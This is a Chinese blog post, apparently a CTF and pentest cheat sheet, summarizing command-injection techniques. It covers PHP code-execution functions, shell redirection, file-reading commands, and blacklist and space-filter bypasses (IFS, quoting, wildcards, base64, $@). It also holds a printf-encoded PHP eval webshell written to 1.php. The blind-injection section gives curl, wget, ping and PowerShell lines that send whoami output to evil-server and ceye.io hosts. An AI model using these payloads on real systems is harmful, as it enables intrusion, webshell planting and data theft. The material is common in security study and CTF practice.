精华内容
下载资源
问答
  • 命令注入总结

    千次阅读 2019-05-21 09:28:48
    https://wywwzjj.top/2019/05/12/命令注入绕过总结/ 直接执行代码 PHP 中有不少可以直接执行代码的函数。 eval(); assert(); system(); exec(); shell_exec(); passthru(); escapeshellcmd(); pcntl_exec(); preg_...

    前往个人博客阅读,提升阅读体验
    https://wywwzjj.top/2019/05/12/命令注入绕过总结/

    直接执行代码

    PHP 中有不少可以直接执行代码的函数。

    eval();
    assert();
    system();
    exec();
    shell_exec();
    passthru();
    escapeshellcmd();
    pcntl_exec();
    

    preg_replace( ) 代码执行

    preg_replace() 的第一个参数如果存在 /e 模式修饰符,则允许代码执行。

    <?php
        $var = "<tag>phpinfo()</tag>";
    	preg_replace("/<tag>(.*?)<\/tag>/e", "addslashes(\\1)", $var);
    ?>
    

    若无 /e 修饰符,则可以尝试 %00 截断。

    重定向

    • cmd > file
      把cmd命令的输出重定向到文件file中。如果file已经存在,则清空原有文件,使用bash的noclobber选项可以防止复盖原有文件。

    • cmd >> file
      把cmd命令的输出重定向到文件file中,如果file已经存在,则把信息加在原有文件后面。

    • cmd < file
      使cmd命令从file读入

    • cmd << text
      从命令行读取输入,直到一个与text相同的行结束。除非使用引号把输入括起来,此模式将对输入内容进行shell变量替换。如果使用<<- ,则会忽略接下来输入行首的tab,结束行也可以是一堆tab再加上一个与text相同的内容,可以参考後面的例子。

    • cmd <<< word
      把word(而不是文件word)和后面的换行作为输入提供给cmd。

    • cmd <> file
      以读写模式把文件file重定向到输入,文件file不会被破坏。仅当应用程序利用了这一特性时,它才是有意义的。

    • cmd >| file
      功能同>,但即便在设置了noclobber时也会复盖file文件,注意用的是|而非一些书中说的!,目前仅在csh中仍沿用>!实现这一功能。

    • : > filename

      把文件filename截断为0长度。如果文件不存在, 那么就创建一个0长度的文件(与touch的效果相同).

    • cmd >&n

      把输出送到文件描述符n

    • cmd m>&n

      把输出到文件符m的信息重定向到文件描述符n

    • cmd >&-

      关闭标准输出

    • cmd <&n

      输入来自文件描述符n

    • cmd m<&n

      m来自文件描述各个n

    • cmd <&-

      关闭标准输入

    • cmd <&n-

      移动输入文件描述符n而非复制它。

    • cmd >&n-

      移动输出文件描述符n而非复制它。
      注意: >&实际上复制了文件描述符,这使得cmd > file 2>&1cmd 2>&1 >file的效果不一样。

    读文件

    cat flag /{cat,flag}
    more flag
    less flag
    bzmore flag
    bzless flag
    head flag
    tail flag
    tailf flag 
    tac flag
    nl flag
    od -a flag
    
    fire flag
    wc flag
    uniq flag
    diff flag flag1.txt
    sed -n '1,2p' flag
    find -P flag
    strings flag
    curl file:///root/flag
    sort flag
    bash -v flag 
    rev flag
    paste ./flag.txt /etc/passwd
    

    Bypass

    多条命令

    %0a、%0d    换行符与回车符
    |           第一条命令结果作为第二条命令的输入
    ||          第一条执行失败,执行第二条命令
    ;           连续指令功能。
    &           连接的两条命令都会执行
    &&          当第一条执行成功后执行后续命令
    
    echo 666`date` => 666Tue 14 May 2019 07:15:23 AM EDT
    
    # Windows
    Copy %0a
    
    %1a - 一个神奇的角色,作为.bat文件中的命令分隔符
    <?php
        $command = 'dir '.$_POST['dir'];
        $escaped_command = escapeshellcmd($command);
        file_put_contents('out.bat',$escaped_command);
        system('out.bat');
    ?>
    

    绕过 escapeshellcmd

    • win 下执行 bat
    <?php
    $command = 'dir '.$_POST['dir'];
    $escaped_command = escapeshellcmd($command);
    var_dump($escaped_command);
    file_put_contents('out.bat',$escaped_command);
    system('out.bat');
    

    执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。

    dir=../ %1a whoami
    

    空格

    • ${IFS}
    cat${IFS}flag
    cat${IFS}$9flag
    cat$IFS$9flag
    cat%09flag  # \0x09 是 TAB
    
    • 重定向符<>
    cat<>flag
    cat<flag
    

    黑名单绕过

    • 拼接
    a=c;b=at;c=flag;$a$b $c
    
    • 利用已存在的资源

    从已有的文件或者环境变量中获得相应的字符。

    • 编码
    `echo "Y2F0IGZsYWc="|base64 -d`
    echo "Y2F0IGZsYWc="|base64 -d|bash
    
    $(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")
    
    #可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
    $ {printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
    
    • 单引号、双引号
    c""at fl''ag
    c'a't f'l'ag
    
    • 反斜线 \
    c\at fl\ag
    
    • 通配符
    /?in/?s => ls
    
    * 0到无穷个任意字符
    ? 一个任意字符
    [ ] 一个在括号内的字符,e.g. [abcd]
    [ - ] 在编码顺序内的所有字符
    [^ ] 一个不在括号内的字符
    [! ] 同 ^
    cat fl[0-z]g
    
    echo d{a,e,i,u,o}g => dag deg dig dug dog
    echo {fl,fla}{ag,g} => flag flg flaag flag
    echo fl{0..z}g => fl1g,fl2g,...,flyg,flzg
    
    花括号拓展{OS_COMMAND,ARGUMENT}
    在Linux bash中还可以使用{cat,/etc/passwd}来绕过
    这里没实验成功
    
    • 未定义变量
    cat$x /etc/passwd
    
    • 可变函数
    (sy.(st).em)(whoami)
    $_GET[a]($_GET[b].$_GET[c])
    
    获取内置函数 system 的索引后,直接执行
    get_defined_functions()[internal] | grep ststem
    get_defined_functions()[internal][381](whoami)
    
    • $@
    $ c$@at fl$@ag
    flag{xxx}
    
    $ echo i$@d
    id
    
    $ i$@d
    uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)
    
    $ echo i$@d|$0
    uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)
    
    $ echo {nc,47.101.220.241,2333}|$0
    直接连 nc 了。。。$0 好牛逼?
    $0 就相当于 bash 另外 $n 表示命令行第 n 个参数
    
    $ $0<<<i$@d
    uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)
    
    • 利用已经存在的资源
    $ echo $PATH
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    
    $ echo $PATH| cut -c 1
    /
    
    $ echo $PATH| cut -c 1-4
    /usr
    
    • ${PS2} 对应字符 ‘>’
    • ${PS4} 对应字符 ‘+’
    • ${IFS} 对应 内部字段分隔符
    • ${9} 对应 空字符串

    无回显

    • 弹 shell

    • DNS 外带数据

    curl "http://testhash.test.dnslog.link/?`whoami`"
    
    • HTTP 外带
    # linux
    curl http://evil-server/`whoami`
    wget http://evil-server/$(whoami)
    curl xxxx.ceye.io/`whoami`
    curl http://xxxx.ceye.io/$(id|base64)
    ping -c 1 `whoami`.xxxx.ceye.io
    
    # windows
    http:
    for /F %x in ('whoami') do start http://xxx.ceye.io/%x
    dns请求:
    获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
    获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
    
    for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);
    

    长度限制

    • 文件构造(参考橘子那个 hitcon)
    >w
    将会创建一个名字为 w 的空文件。
    

    工具

    参考链接

    巧用命令注入的 N 种姿势

    https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/

    展开全文
  • 根据网上视频课程学习总计知识点,文档结构分为php代码注入和os代码... php代码注入从原理 相关语句函数 利用 防御方面做出总结 os系统命令注入从 原理成因 相关函数 利用 防御方面做出总结 整理为文档 可以方便查阅
  • 命令注入漏洞总结

    千次阅读 2018-08-03 23:43:00
    前言 漏洞本身原理很简单,用户的输入作为 要执行命令的一部分被 一些执行系统命令的函数去执行,如果不注意就能够让攻击者执行系统命令。 正文 相关的工具 https://github.com/ewilded/shelling ...

    前言

    漏洞本身原理很简单,用户的输入作为 要执行命令的一部分被 一些执行系统命令的函数去执行,如果不注意就能够让攻击者执行系统命令。

    正文

    相关的工具

    https://github.com/ewilded/shelling
    https://github.com/commixproject/commix

    测试环境

    win 10 phpstudy
    https://github.com/commixproject/commix-testbed/
    部署在 http://test.commix.top

    一个最简单的例子

    /scenarios/regular/GET/classic.php

    006daSSqgy1fyhy2zn4f5j30kl073mxp.jpg

    或取 $_GET['addr']ping 拼接后 由 exec 执行。这种毫无防护的命令注入利用的方式有很多。比如利用 &, &&, | , ||, ;

    这里用 www.baidu.com & whoami

    006daSSqgy1fyhy38nvx6j30qg0ft757.jpg

    使用 commix 来探测

    python commix.py -u "http://test.commix.top/scenarios/regular/GET/classic.php?addr=www.baidu.com"

    006daSSqgy1fyhy3jwsc0j311q0dfjsb.jpg

    绕过正则表达式

    /scenarios/regular/GET/preg_match.php

    006daSSqgy1fyhy3ocdgqj30qc08o3zd.jpg

    他这里匹配了 ip 地址的格式。 首尾都匹配了,看似无法注入命令了。不过正则表达式匹配时不会跨行匹配,所以 我们 可以用 \n 来绕过匹配

    127.0.0.1\ncommand

    006daSSqgy1fyhy3wdro2j30ha07mq2s.jpg

    006daSSqgy1fyhy42qluzj30yj0a9wg9.jpg

    更多请看:

    https://www.anquanke.com/post/id/84920

    https://chybeta.gitbooks.io/waf-bypass/content/ming-ling-zhu-ru/rao-guo-fang-fa.html

    http://findneo.tech/171110Bypass4CLimit/

    转载于:https://www.cnblogs.com/hac425/p/9416951.html

    展开全文
  • 命令注入

    2015-07-05 19:29:00
    命令注入总结? apk一定要签名吗? xxe注入? android环境搭建? 转载于:https://www.cnblogs.com/Gaea5/p/4622850.html

    命令注入总结?

    apk一定要签名吗?

    xxe注入?

    android环境搭建?

    转载于:https://www.cnblogs.com/Gaea5/p/4622850.html

    展开全文
  • 文章目录第一章 原理以及成因第二章·漏洞危害第三章 相关函数第一节 system()第二节 exec()第三节 ...防御方法第六章 DVWA第一节 low命令注入第二节 medium命令注入 第一章 原理以及成因 程序员使用脚本语言(比...

    第一章 原理以及成因

    程序员使用脚本语言(比如PHP )开发应用程序过程中,脚本语言开发十分快速、简介,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序(系统命令或者exe等可执行文件)。当应用需要调用一些外部程序时就会用到一些系统命令的函数。
    应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞 。
    1. 用户输入作为拼接
    2. 没有足够的过滤
    

    第二章·漏洞危害

    1. 继承Web 服务器程序权限(Web 用户权限),去执行系统命令
    2. 继承Web 服务器权限,读写文件
    3. 反弹Shell
    4. 控制整个网站
    5. 控制整个服务器
    

    第三章 相关函数

    第一节 system()

    system() 能够将字符串作为OS 命令执行,自带输出功能。测试代码如下
    
    ----system.php
    <meta charset='gb2312'>
    <?php
    if(isset($_GET['cmd'])){
        echo "<pre>";
        system($_GET['cmd']);
    }else{
        echo"
        ?cmd=ipconfig
        ";
    }
    ?>
    ----
    

    第二节 exec()

    exec() 函数能将字符串作为OS 命令执行,需要输出执行结果。测试代码如下
    
    ----exec.php
    <meta charset="gb2312">
    <?php
    if(isset($_GET['cmd'])){
        echo "<pre>";
        print exec($_GET['cmd']);
    }else{
        echo"
        ?cmd=whoami
        ";
    }
    ?>
    ----
    

    第三节 shell_exec()

    测试代码如下

    ----shell_exec.php
     <?php
    if(isset($_GET['cmd'])){
        print shell_exec($_GET['cmd']);
    }else{
        echo"?cmd=whoami";
    }
    ?>
    ----
    

    第四节 passthru()

    测试代码如下
    
    ----passthru.php
    <?php
    if(isset($_GET['cmd'])){
        passthru($_GET['cmd']);
    }else{
        echo"?cmd=whoami";
    }
    ?>
    ----
    

    第五节 popen()

    popen() 也能够执行OS 命令,但是该函数并回是返回命令结果,而是返回一个文件指针。无论返回什么,我们关心的是命令执行了。
    测试代码如下
    
    ----popen.php
    <?php
    if(isset($_GET['cmd'])){
        $cmd=$_GET['cmd'].">> 1.txt";
        popen($cmd,'r');
    }else{
        echo"?cmd=whoami";
    }
    ?>
    ----
        查看1.txt 文件
    

    第六节 反引号

    反引号[``] 内的字符串,也会被解析成OS 命令。
    测试代码如下
    
    -----------------------------------------------------------------
    <?php
    if(isset($_GET['cmd'])){
        $cmd=$_GET['cmd'];
        print `$cmd`;
    }else{
        echo"?cmd=whoami";
    }
    ?>
    -----------------------------------------------------------------
    

    第四章 漏洞利用

    OS 命令注入漏洞,攻击者直接继承Web 用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows 系统下测试成功。
    

    第一节 查看系统文件

    提交参数[?cmd=type c:\windows\system32\drivers\etc\hosts],查看系统hosts 文件。
    

    第二节 显示当前路径

    提交参数[?cmd=cd]
    

    第三节写文件

    提交参数[?cmd=echo "<?php phpinfo();?>" > C:\phpStudy\WWW\Commmandi\shell.php]
    
    页面没有报错,说明文件写入成功。访问shell.php 文件。
    

    第五章 防御方法

    1. 尽量减少命令执行函数的使用,并在disable_functions 中禁用
    2. 在进入命令执行的函数或方法之前,对参数进行过滤
    3. 参数的值尽量使用引号包裹,并在拼接前调用addslashes 进行转义
    

    第六章 DVWA

    第一节 low命令注入

    127.0.0.1| whoami
    127.0.0.1|whoami
    127.0.0.1&&whoami
    127.0.0.1;whoami			?
    127.0.0.0.1||whoami
    

    第二节 medium命令注入

    127.0.0.1| whoami
    127.0.0.1|whoami
    127.0.0.0.1||whoami
    127.0.0.1&&&&whoami			x
    
    展开全文
  • 注入总结:mysql+mssql手工注入常用命令总结阅读数:5280欢迎使用Markdown编辑器写博客判断数据库类型: Access: and (select id from MSysAccessObjects) &gt;0 返回正常说明是access MSSQL: and (select id...
  • 命令注入绕过技巧总结 命令注入是一个安全漏洞,它使攻击者可以在易受攻击的应用程序中执行任意命令。 基本命令 root@micr067:~# cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/...
  • 01 命令注入之简介 类型:服务器端漏洞 02 命令注入的三个条件 1.调用可执行系统命令的函数 2.函数或函数的参数可控 3.拼接注入命令 03 命令注入的攻击过程 1.构造命令 2.拼接命令,执行注入的命令 3.结果回显 ...
  • Oracle手工注入命令总结

    千次阅读 2019-07-05 11:46:48
    //若过滤了"" '', 可用not in ('字段')代替 //若过滤了<>,可用!=代替 1. 表名爆破 //返回一条数据 ...and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)) ...
  • 文章目录一、python OS命令注入漏洞1. 警惕subprocess.getstatusoutput OS命令注入漏洞2. os.popen OS命令注入漏洞os.popen基础python os.popen OS命令注入漏洞 一、python OS命令注入漏洞 1. 警惕subprocess....
  • 常见的Web漏洞——命令注入

    千次阅读 2019-09-29 13:35:54
    命令注入简介 命令注入原理 漏洞利用 漏洞防范 总结 命令注入简介 命令注入漏洞和SQL注入、XSS漏洞很相似,也是由于开发人员考虑不周造成的,在使用web应用程序执行系统命令的时候对用户输入的字符未进行过滤...
  • OS命令注入学习笔记

    千次阅读 2019-09-22 14:41:35
    OS命令注入 调用OS命令引起的安全隐患: Web开发所使用的编程语言中,大多数都能通过Shell执行OS(操作系统)命令。通过Shell执行OS命令时,或者开发中用到的某个方法其内部利用了Shell时,就有可能出现OS命令被任意...
  • Sqlmap常用命令总结注入实战(Access、mysql)

    万次阅读 多人点赞 2018-11-19 20:40:29
    sqlmap常用命令总结: 注意:命令为kali linux中运行的 (windows中用python sqlmap.py执行) 1#、注入六连: 1. sqlmap -u "http://www.xx.com?id=x" 【查询是否存在注入点 2. --dbs 【检测站点包含哪些数据库 ...
  • php命令注入攻击

    千次阅读 2019-04-01 19:25:55
    命令注入攻击 命令注入攻击(Command Injection),是指黑客通过利用HTML代码输入机制缺陷(例如缺乏有效验证限制的表格域)来改变网页的动态生成的内容。从而可以使用系统命令操作,实现使用远程数据来构造要执行的...
  • os 命令注入

    千次阅读 2019-03-13 17:21:26
    命令分隔符注入命令 Java代码也提供一些接口,如Runtime.getRuntime().exec(“command”),System.exec(“command”),调用这两个命令,可以执行一些体统命令。下面给一段代码: Public static void main(String ...
  • 命令注入绕过小结

    2019-10-30 10:59:43
    一、命令注入 官方的解释:即 Command Injection。是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。 记得师傅用一句话概括注入的本质:就是把非法的输入当做代码来执行了。 二、绕过 .号...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 37,569
精华内容 15,027
关键字:

命令注入总结